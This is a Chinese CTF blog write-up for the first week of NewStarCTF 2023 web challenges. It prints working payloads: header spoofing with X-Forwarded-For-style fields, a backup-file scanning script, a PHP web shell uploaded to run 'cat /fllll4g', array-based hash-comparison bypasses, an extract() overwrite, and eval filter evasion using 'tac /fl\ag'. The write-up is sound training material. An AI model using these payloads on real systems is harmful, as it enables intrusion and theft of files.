NewStarCTF 2023_第一周WP

NewStarCTF 2023_第一周WP

ErrorFlask

image-20230926133137466

根据网页显示的内容,我们需要提供它一个number1和number2的值,没有告诉我们具体的请求方式,我们先用get请求先传输一个number1值试试:

payload:

1
?number1=1

image-20230926133446856

发生报错,在报错信息中寻找一下有没有flag:
image-20230926133538322

发现flag,这里应该是没有num2的值所以num2为空就报错显示了

Begin of HTTP

image-20230926133854855

payload:

1
?ctf=1

image-20230926133932034

更具提示我们需要寻找secret的值,并用post传参,网页显示上没有secret,那么在网页源码中找一下:

image-20230926134135307

1
2
3
Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk)
=>
Secret: n3wst4rCTF2023g00000d

payload:

1
2
3
4
GET:
?ctf=1
POST:
secret=n3wst4rCTF2023g00000d

image-20230926134415967

这里回显是认证信息,一般都是用cookie进行身份认证的,所以使用BP抓包:
image-20230926134605035

payload:

1
Cookie:power=ctfer

image-20230926134653693

我们需要修改我们访问的浏览器为NewStarCTF2023:

1
User-Agent:NewStarCTF2023

image-20230926134804370

告诉我们访问的源网页地址是newstarctf.com:

1
Referer:newstarctf.com

image-20230926135002273

最后我们需要伪造本地用户访问,这里提供了一些用于伪造的字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

[XFF漏洞利用通俗易懂]-腾讯云开发者社区-腾讯云 (tencent.com)

payload:

这里我用了X-Real-IP:127.0.0.1用来伪造:

1
X-Real-IP:127.0.0.1

image-20230926135303533

flag=flag{47812204-bfe7-4821-b0a5-ca4d18f44e9f}

泄漏的秘密

image-20230926135548124

根据网页提示存在备份文件泄露:
访问robots.txt:
image-20230926135706266

获得半个flag:

1
flag{r0bots_1s_s0_us3ful

先使用我们的自主脚本查找网页的后台文件(后台文件目录请私聊):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time
with open("php_bak.txt", "r") as f:
data = f.readlines()
# print(bak_data)
# 去除换行符
bak_data = []
for d in data:
bak_data.append(d.strip('\n'))
# print(bak_data)
url = "http://0a2444bb-05dd-4ecf-8cbc-6e34948c0b2a.node4.buuoj.cn:81/"

for bak_d in bak_data:
url_final = url + bak_d
r = requests.get(url_final)
time.sleep(0.04)
# print(type(r.status_code))
if (200 == r.status_code):
print("{}:{}".format(bak_d, r.status_code))



# l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# l2 = ['tar', 'tar.gz', 'zip', 'rar']
# l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp','index','index.php']
# l2 = ['tar', 'tar.gz', 'zip', 'rar','7z','php~','php']


# for i in l1:
# for j in l2:
# print(i+" "+j)
# url_final = url + "/" + i + "." + j
# r = requests.get(url_final)
# print(r)

# 找到文件为正常响应:200
# www zip
# <Response [200]>

输出结果:

image-20230926140025030

发现存在一个www.zip文件,访问下载后我们在index.php中发现了后面一半flag:
image-20230926140146599

1
_4nd_www.zip_1s_s0_d4ng3rous}

flag=flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

image-20230926140325625

我们直接上传图片木马文件,并使用BP抓包:

image-20230926140502172

发现上传成功,我们修改一下图片文件的后缀名为php:
image-20230926140550913

发现也上传成功,我们访问一下/upload/pass.php:
image-20230926140653179

payload:

1
pass=system('ls /');

image-20230926140727477

payload:

1
pass=system('cat /fllll4g');

image-20230926140810360

Begin of PHP

网页代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

绕过第一个if:

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
//获取key1和key2的值,他们的值不能相同,但是md5的值相同,可以使用数组绕过法
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
//会强制结束php进程,所以需要绕过
die("nope,this is level 1");
}
}

payload:

1
?key1[]=1&key2[]=2

image-20230927132411728

绕过第二个if:

1
2
3
4
5
6
7
8
9
10
11
12
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
//输入的key3的值,要使它的md5值和sha1的值相同
//md5加密和sha1加密对数组的返回结果都是null
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

payload:

1
2
3
4
GET:
?key1[]=1&key2[]=2
POST:
key3[]=3

image-20230927132609158

绕过第三个if:

1
2
3
4
5
6
7
8
9
10
11
12
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
//key4输入的值的内容和/flag中的内容进行比较,如果相同则返回0
//strcmp()如果比较的内容是一个数组,则会直接返回0
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

payload:

1
2
3
4
GET:
?key1[]=1&key2[]=2&key4[]=4
POST:
key3[]=3

image-20230927133350093

绕过第四个if:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
//我们需要输入一个key5的值,它的类型不能是数字,但是它的值要大于2023
//使用key5="9e9",没有绕过去
//使用key5[]="9e9",发现绕过,判断为数组类型后,由于key5现在代表的是数组,所以参与比较的是key5的地址值,地址值一般都很大
//类型判断时为数组
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

payload:

1
2
3
4
GET:
?key1[]=1&key2[]=2&key4[]=4&key5[]="9e9"
POST:
key3[]=3

image-20230927134811015

payload:

1
2
3
4
GET:
?key1[]=1&key2[]=2&key4[]=4&key5[]="1"
POST:
key3[]=3

image-20230927134955048

绕过最后一个if:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($flag4){
echo "=Level 5=<br>";
//extract()可以通过传入的同名变量值,对已有字符集进行变量值覆盖
extract($_POST);//$_POST获取post传入的所有参数值,并形成关联数组
foreach($_POST as $var){
//比较post传参中的所有参数的值是否存在字母和数字
if(preg_match("/[a-zA-Z0-9]/",$var)){
//所以我们post传参中的所有变量的值都不能有数字和字母
die("nope,this is level 5");
}
}
//这里存在$flag5变量,说明字符集中存在$flag5变量值,可以通过extract()函数对其进行变量覆盖
//弱if判断,只要$flag5不是0或空或null,它就会判断为true,所以只需要传入一个非字母非数字的字符即可
if($flag5){
//输出根目录flag文件的内容
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

payload:

1
2
3
4
GET:
?key1[]=1&key2[]=2&key4[]=4&key5[]="9e9"
POST:
key3[]=@&flag5=@

image-20230927135825599

R!C!E!

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
//我们输入的值的md5加密后的结果的前6个字符需要是c4d038
if(substr($password,0,6)==="c4d038"){
//对我们输入的e_v.a.l参数进行过滤
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

使用脚本爆破md5:

1
2
3
4
5
6
7
8
9
10
11
import hashlib
i = 0
while (i <= 10000000):
md5 = hashlib.md5()
s = str(i)
md5.update(s.encode("utf-8"))
result = md5.hexdigest()
if result[0:6] == "c4d038":
print(result)
print(s)
i = i+1

输出:

1
2
c4d038b4bed09fdb1471ef51ec3a32cd
114514

php非法传参介绍:

1
我们传入的参数中存在_则会被php替换成[,但是我们传入的参数中是[则会被替换成_

payload:

1
password=114514&e[v.a.l=echo `l\s /`;//使用转义字符法绕过过滤

image-20230927141744793

payload:

1
password=114514&e[v.a.l=echo `tac /fl\ag`;//在命令执行时\会被自动去除

image-20230927141826484

EasyLogin

image-20231001174106677

发现用户登录界面,我们先注册一个账户,一般先注册一下admin,看一下这个系统中是否存在admin账户:
image-20231001174230138

发现已经存在admin账户,猜测网站可以使用弱密码本爆破,通过抓包,我们发现password的传输是通过md5的形式传输,所以我们需要md5弱密码本进行爆破:

image-20231001204748276

image-20231001204814702

最终我们通过在md5密码本中查找,发现admin的密码是000000

使用bp抓取登录信息:

image-20231001174542432

点击发送,抓取第二个传输的包:
image-20231001174616160

将第二个包发送到重发器中,然后点击发送,获取响应信息:
image-20231001174814623

最终我们在302响应界面中发现被注释的flag信息


NewStarCTF 2023_第一周WP
http://example.com/2023/10/04/2023-10-4-Newstar_1/
作者
South
发布于
2023年10月4日
许可协议